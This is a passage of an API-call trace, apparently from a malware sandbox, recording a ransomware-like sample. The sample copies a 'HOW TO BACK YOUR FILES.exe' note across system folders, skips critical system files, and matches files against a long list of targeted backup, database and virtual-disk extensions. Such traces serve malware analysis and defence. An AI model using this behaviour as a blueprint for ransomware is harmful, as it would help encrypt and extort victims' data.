nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0117.715] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0117.715] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0117.715] lstrcmpiW (lpString1="VBA7", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.715] lstrcmpiW (lpString1="VBA7", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.715] lstrcmpiW (lpString1="VBA7", lpString2=".") returned 1 [0117.715] lstrcmpiW (lpString1="VBA7", lpString2="..") returned 1 [0117.715] lstrcmpiW (lpString1="VBA7", lpString2="windows") returned -1 [0117.715] lstrcmpiW (lpString1="VBA7", lpString2="bootmgr") returned 1 [0117.715] lstrcmpiW (lpString1="VBA7", lpString2="temp") returned 1 [0117.716] lstrcmpiW (lpString1="VBA7", lpString2="pagefile.sys") returned 1 [0117.716] lstrcmpiW (lpString1="VBA7", lpString2="boot") returned 1 [0117.716] lstrcmpiW (lpString1="VBA7", lpString2="ids.txt") returned 1 [0117.716] lstrcmpiW (lpString1="VBA7", lpString2="ntuser.dat") returned 1 [0117.716] lstrcmpiW (lpString1="VBA7", lpString2="perflogs") returned 1 [0117.716] lstrcmpiW (lpString1="VBA7", lpString2="MSBuild") returned 1 [0117.716] lstrlenW (lpString="VBA7") returned 4 [0117.716] lstrcpyW (in: lpString1=0x241e8ae, lpString2="VBA7" | out: lpString1="VBA7") returned="VBA7" [0117.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52aeb8 [0117.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x539068 [0117.716] lstrcatW (in: lpString1="VBA7", lpString2="\\" | out: lpString1="VBA7\\") returned="VBA7\\" [0117.716] lstrcatW (in: lpString1="VBA7\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VBA7\\HOW TO BACK YOUR FILES.exe") returned="VBA7\\HOW TO BACK YOUR FILES.exe" [0117.716] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\how to back your files.exe"), bFailIfExists=1) returned 1 [0117.718] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0117.718] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0117.718] ReleaseMutex (hMutex=0xec) returned 1 [0117.718] CloseHandle (hObject=0xec) returned 1 [0117.718] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VC") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" [0117.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ee40 | out: hHeap=0x4f0000) returned 1 [0117.718] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aed0 | out: hHeap=0x4f0000) returned 1 [0117.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VC") returned 49 [0117.719] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\BEF05F256A373492D3B089437D15652A") returned 0xec [0117.719] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0117.719] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VC") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" [0117.719] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0117.719] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\how to back your files.exe"), bFailIfExists=1) returned 0 [0117.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0117.720] GetLastError () returned 0x0 [0117.720] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0117.720] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552140 [0117.720] ReadFile (in: hFile=0xf4, lpBuffer=0x552140, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552140*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0117.721] CloseHandle (hObject=0xf4) returned 1 [0117.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0117.721] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0117.721] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xce0da4e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0da4e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0117.721] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.721] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.721] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0117.721] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xce0da4e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0da4e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.721] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0117.721] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0117.721] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0117.722] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0117.722] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce0da4e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce0da4e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0117.722] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0117.722] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0117.723] lstrcmpiW (lpString1="msdia100.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0117.723] lstrcmpiW (lpString1="msdia100.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0117.723] lstrcmpiW (lpString1="msdia100.dll", lpString2=".") returned 1 [0117.723] lstrcmpiW (lpString1="msdia100.dll", lpString2="..") returned 1 [0117.723] lstrcmpiW (lpString1="msdia100.dll", lpString2="windows") returned -1 [0117.723] lstrcmpiW (lpString1="msdia100.dll", lpString2="bootmgr") returned 1 [0117.723] lstrcmpiW (lpString1="msdia100.dll", lpString2="temp") returned -1 [0117.723] lstrcmpiW (lpString1="msdia100.dll", lpString2="pagefile.sys") returned -1 [0117.723] lstrcmpiW (lpString1="msdia100.dll", lpString2="boot") returned 1 [0117.723] lstrcmpiW (lpString1="msdia100.dll", lpString2="ids.txt") returned 1 [0117.723] lstrcmpiW (lpString1="msdia100.dll", lpString2="ntuser.dat") returned -1 [0117.724] lstrcmpiW (lpString1="msdia100.dll", lpString2="perflogs") returned -1 [0117.724] lstrcmpiW (lpString1="msdia100.dll", lpString2="MSBuild") returned 1 [0117.724] lstrlenW (lpString="msdia100.dll") returned 12 [0117.724] lstrcpyW (in: lpString1=0x241e8ac, lpString2="msdia100.dll" | out: lpString1="msdia100.dll") returned="msdia100.dll" [0117.724] lstrlenW (lpString="msdia100.dll") returned 12 [0117.724] lstrlenW (lpString="Athena865") returned 9 [0117.724] lstrcmpiW (lpString1="ia100.dll", lpString2="Athena865") returned 1 [0117.724] lstrlenW (lpString=".dll") returned 4 [0117.724] lstrcmpiW (lpString1="msdia100.dll", lpString2=".dll") returned 1 [0117.724] lstrlenW (lpString=".lnk") returned 4 [0117.724] lstrcmpiW (lpString1="msdia100.dll", lpString2=".lnk") returned 1 [0117.724] lstrlenW (lpString=".ini") returned 4 [0117.724] lstrcmpiW (lpString1="msdia100.dll", lpString2=".ini") returned 1 [0117.724] lstrlenW (lpString=".sys") returned 4 [0117.724] lstrcmpiW (lpString1="msdia100.dll", lpString2=".sys") returned 1 [0117.724] lstrlenW (lpString="msdia100.dll") returned 12 [0117.724] lstrlenW (lpString="bak") returned 3 [0117.724] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0117.724] lstrlenW (lpString="ba_") returned 3 [0117.724] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0117.724] lstrlenW (lpString="dbb") returned 3 [0117.724] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0117.724] lstrlenW (lpString="vmdk") returned 4 [0117.724] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0117.724] lstrlenW (lpString="rar") returned 3 [0117.724] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0117.724] lstrlenW (lpString="zip") returned 3 [0117.725] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0117.725] lstrlenW (lpString="tgz") returned 3 [0117.725] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0117.725] lstrlenW (lpString="vbox") returned 4 [0117.725] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0117.725] lstrlenW (lpString="vdi") returned 3 [0117.725] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0117.725] lstrlenW (lpString="vhd") returned 3 [0117.725] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0117.725] lstrlenW (lpString="vhdx") returned 4 [0117.725] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0117.725] lstrlenW (lpString="avhd") returned 4 [0117.725] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0117.725] lstrlenW (lpString="db") returned 2 [0117.725] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0117.725] lstrlenW (lpString="db2") returned 3 [0117.725] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0117.725] lstrlenW (lpString="db3") returned 3 [0117.725] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0117.725] lstrlenW (lpString="dbf") returned 3 [0117.725] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0117.725] lstrlenW (lpString="mdf") returned 3 [0117.725] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0117.725] lstrlenW (lpString="mdb") returned 3 [0117.725] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0117.725] lstrlenW (lpString="sql") returned 3 [0117.725] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0117.725] lstrlenW (lpString="sqlite") returned 6 [0117.725] lstrcmpiW (lpString1="00.dll", lpString2="sqlite") returned -1 [0117.725] lstrlenW (lpString="sqlite3") returned 7 [0117.725] lstrcmpiW (lpString1="100.dll", lpString2="sqlite3") returned -1 [0117.726] lstrlenW (lpString="sqlitedb") returned 8 [0117.726] lstrcmpiW (lpString1="a100.dll", lpString2="sqlitedb") returned -1 [0117.726] lstrlenW (lpString="xml") returned 3 [0117.726] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0117.726] lstrlenW (lpString="$er") returned 3 [0117.726] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0117.726] lstrlenW (lpString="4dd") returned 3 [0117.726] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0117.726] lstrlenW (lpString="4dl") returned 3 [0117.726] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0117.726] lstrlenW (lpString="^^^") returned 3 [0117.726] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0117.726] lstrlenW (lpString="abs") returned 3 [0117.726] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0117.726] lstrlenW (lpString="abx") returned 3 [0117.726] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0117.726] lstrlenW (lpString="accdb") returned 5 [0117.726] lstrcmpiW (lpString1="0.dll", lpString2="accdb") returned -1 [0117.726] lstrlenW (lpString="accdc") returned 5 [0117.726] lstrcmpiW (lpString1="0.dll", lpString2="accdc") returned -1 [0117.726] lstrlenW (lpString="accde") returned 5 [0117.726] lstrcmpiW (lpString1="0.dll", lpString2="accde") returned -1 [0117.726] lstrlenW (lpString="accdr") returned 5 [0117.726] lstrcmpiW (lpString1="0.dll", lpString2="accdr") returned -1 [0117.726] lstrlenW (lpString="accdt") returned 5 [0117.726] lstrcmpiW (lpString1="0.dll", lpString2="accdt") returned -1 [0117.726] lstrlenW (lpString="accdw") returned 5 [0117.726] lstrcmpiW (lpString1="0.dll", lpString2="accdw") returned -1 [0117.726] lstrlenW (lpString="accft") returned 5 [0117.726] lstrcmpiW (lpString1="0.dll", lpString2="accft") returned -1 [0117.727] lstrlenW (lpString="adb") returned 3 [0117.727] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0117.727] lstrlenW (lpString="adb") returned 3 [0117.727] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0117.727] lstrlenW (lpString="ade") returned 3 [0117.727] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0117.727] lstrlenW (lpString="adf") returned 3 [0117.727] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0117.727] lstrlenW (lpString="adn") returned 3 [0117.727] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0117.727] lstrlenW (lpString="adp") returned 3 [0117.727] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0117.727] lstrlenW (lpString="alf") returned 3 [0117.727] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0117.727] lstrlenW (lpString="ask") returned 3 [0117.727] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0117.727] lstrlenW (lpString="btr") returned 3 [0117.727] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0117.727] lstrlenW (lpString="cat") returned 3 [0117.727] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0117.727] lstrlenW (lpString="cdb") returned 3 [0117.727] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0117.727] lstrlenW (lpString="ckp") returned 3 [0117.727] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0117.727] lstrlenW (lpString="cma") returned 3 [0117.727] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0117.727] lstrlenW (lpString="cpd") returned 3 [0117.727] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0117.727] lstrlenW (lpString="dacpac") returned 6 [0117.727] lstrcmpiW (lpString1="00.dll", lpString2="dacpac") returned -1 [0117.727] lstrlenW (lpString="dad") returned 3 [0117.728] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0117.728] lstrlenW (lpString="dadiagrams") returned 10 [0117.728] lstrcmpiW (lpString1="dia100.dll", lpString2="dadiagrams") returned 1 [0117.728] lstrlenW (lpString="daschema") returned 8 [0117.728] lstrcmpiW (lpString1="a100.dll", lpString2="daschema") returned -1 [0117.728] lstrlenW (lpString="db-journal") returned 10 [0117.728] lstrcmpiW (lpString1="dia100.dll", lpString2="db-journal") returned 1 [0117.728] lstrlenW (lpString="db-shm") returned 6 [0117.728] lstrcmpiW (lpString1="00.dll", lpString2="db-shm") returned -1 [0117.728] lstrlenW (lpString="db-wal") returned 6 [0117.728] lstrcmpiW (lpString1="00.dll", lpString2="db-wal") returned -1 [0117.728] lstrlenW (lpString="dbc") returned 3 [0117.728] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0117.728] lstrlenW (lpString="dbs") returned 3 [0117.728] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0117.728] lstrlenW (lpString="dbt") returned 3 [0117.728] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0117.728] lstrlenW (lpString="dbv") returned 3 [0117.728] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0117.728] lstrlenW (lpString="dbx") returned 3 [0117.728] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0117.728] lstrlenW (lpString="dcb") returned 3 [0117.728] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0117.728] lstrlenW (lpString="dct") returned 3 [0117.728] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0117.728] lstrlenW (lpString="dcx") returned 3 [0117.728] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0117.728] lstrlenW (lpString="ddl") returned 3 [0117.728] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0117.728] lstrlenW (lpString="dlis") returned 4 [0117.729] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0117.729] lstrlenW (lpString="dp1") returned 3 [0117.729] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0117.729] lstrlenW (lpString="dqy") returned 3 [0117.729] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0117.729] lstrlenW (lpString="dsk") returned 3 [0117.729] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0117.729] lstrlenW (lpString="dsn") returned 3 [0117.729] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0117.729] lstrlenW (lpString="dtsx") returned 4 [0117.729] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0117.729] lstrlenW (lpString="dxl") returned 3 [0117.729] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0117.729] lstrlenW (lpString="eco") returned 3 [0117.729] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0117.729] lstrlenW (lpString="ecx") returned 3 [0117.729] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0117.729] lstrlenW (lpString="edb") returned 3 [0117.729] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0117.729] lstrlenW (lpString="epim") returned 4 [0117.729] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0117.729] lstrlenW (lpString="fcd") returned 3 [0117.729] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0117.729] lstrlenW (lpString="fdb") returned 3 [0117.729] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0117.729] lstrlenW (lpString="fic") returned 3 [0117.729] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0117.729] lstrlenW (lpString="flexolibrary") returned 12 [0117.729] lstrlenW (lpString="fm5") returned 3 [0117.730] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0117.730] lstrlenW (lpString="fmp") returned 3 [0117.730] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0117.730] lstrlenW (lpString="fmp12") returned 5 [0117.730] lstrcmpiW (lpString1="0.dll", lpString2="fmp12") returned -1 [0117.730] lstrlenW (lpString="fmpsl") returned 5 [0117.730] lstrcmpiW (lpString1="0.dll", lpString2="fmpsl") returned -1 [0117.730] lstrlenW (lpString="fol") returned 3 [0117.730] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0117.730] lstrlenW (lpString="fp3") returned 3 [0117.730] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0117.730] lstrlenW (lpString="fp4") returned 3 [0117.730] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0117.730] lstrlenW (lpString="fp5") returned 3 [0117.730] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0117.730] lstrlenW (lpString="fp7") returned 3 [0117.730] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0117.730] lstrlenW (lpString="fpt") returned 3 [0117.730] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0117.730] lstrlenW (lpString="frm") returned 3 [0117.730] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0117.730] lstrlenW (lpString="gdb") returned 3 [0117.730] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0117.730] lstrlenW (lpString="gdb") returned 3 [0117.730] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0117.730] lstrlenW (lpString="grdb") returned 4 [0117.730] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0117.730] lstrlenW (lpString="gwi") returned 3 [0117.730] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0117.731] lstrlenW (lpString="hdb") returned 3 [0117.731] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0117.731] lstrlenW (lpString="his") returned 3 [0117.731] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0117.731] lstrlenW (lpString="ib") returned 2 [0117.731] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0117.731] lstrlenW (lpString="idb") returned 3 [0117.731] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0117.731] lstrlenW (lpString="ihx") returned 3 [0117.731] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0117.731] lstrlenW (lpString="itdb") returned 4 [0117.731] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0117.731] lstrlenW (lpString="itw") returned 3 [0117.731] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0117.731] lstrlenW (lpString="jet") returned 3 [0117.731] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0117.731] lstrlenW (lpString="jtx") returned 3 [0117.731] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0117.731] lstrlenW (lpString="kdb") returned 3 [0117.731] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0117.731] lstrlenW (lpString="kexi") returned 4 [0117.731] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0117.731] lstrlenW (lpString="kexic") returned 5 [0117.731] lstrcmpiW (lpString1="0.dll", lpString2="kexic") returned -1 [0117.731] lstrlenW (lpString="kexis") returned 5 [0117.731] lstrcmpiW (lpString1="0.dll", lpString2="kexis") returned -1 [0117.731] lstrlenW (lpString="lgc") returned 3 [0117.731] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0117.731] lstrlenW (lpString="lwx") returned 3 [0117.732] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0117.732] lstrlenW (lpString="maf") returned 3 [0117.732] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0117.732] lstrlenW (lpString="maq") returned 3 [0117.732] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0117.732] lstrlenW (lpString="mar") returned 3 [0117.732] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0117.732] lstrlenW (lpString="marshal") returned 7 [0117.732] lstrcmpiW (lpString1="100.dll", lpString2="marshal") returned -1 [0117.732] lstrlenW (lpString="mas") returned 3 [0117.732] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0117.732] lstrlenW (lpString="mav") returned 3 [0117.732] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0117.732] lstrlenW (lpString="maw") returned 3 [0117.732] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0117.732] lstrlenW (lpString="mdbhtml") returned 7 [0117.732] lstrcmpiW (lpString1="100.dll", lpString2="mdbhtml") returned -1 [0117.732] lstrlenW (lpString="mdn") returned 3 [0117.732] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0117.732] lstrlenW (lpString="mdt") returned 3 [0117.732] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0117.732] lstrlenW (lpString="mfd") returned 3 [0117.732] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0117.732] lstrlenW (lpString="mpd") returned 3 [0117.732] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0117.732] lstrlenW (lpString="mrg") returned 3 [0117.732] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0117.732] lstrlenW (lpString="mud") returned 3 [0117.732] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0117.732] lstrlenW (lpString="mwb") returned 3 [0117.733] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0117.733] lstrlenW (lpString="myd") returned 3 [0117.733] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0117.733] lstrlenW (lpString="ndf") returned 3 [0117.733] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0117.733] lstrlenW (lpString="nnt") returned 3 [0117.733] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0117.733] lstrlenW (lpString="nrmlib") returned 6 [0117.733] lstrcmpiW (lpString1="00.dll", lpString2="nrmlib") returned -1 [0117.733] lstrlenW (lpString="ns2") returned 3 [0117.733] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0117.733] lstrlenW (lpString="ns3") returned 3 [0117.733] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0117.733] lstrlenW (lpString="ns4") returned 3 [0117.733] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0117.733] lstrlenW (lpString="nsf") returned 3 [0117.733] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0117.733] lstrlenW (lpString="nv") returned 2 [0117.733] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0117.733] lstrlenW (lpString="nv2") returned 3 [0117.733] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0117.733] lstrlenW (lpString="nwdb") returned 4 [0117.733] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0117.733] lstrlenW (lpString="nyf") returned 3 [0117.733] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0117.733] lstrlenW (lpString="odb") returned 3 [0117.733] lstrcmpiW (lpString1="dll", lpString2="odb") returned 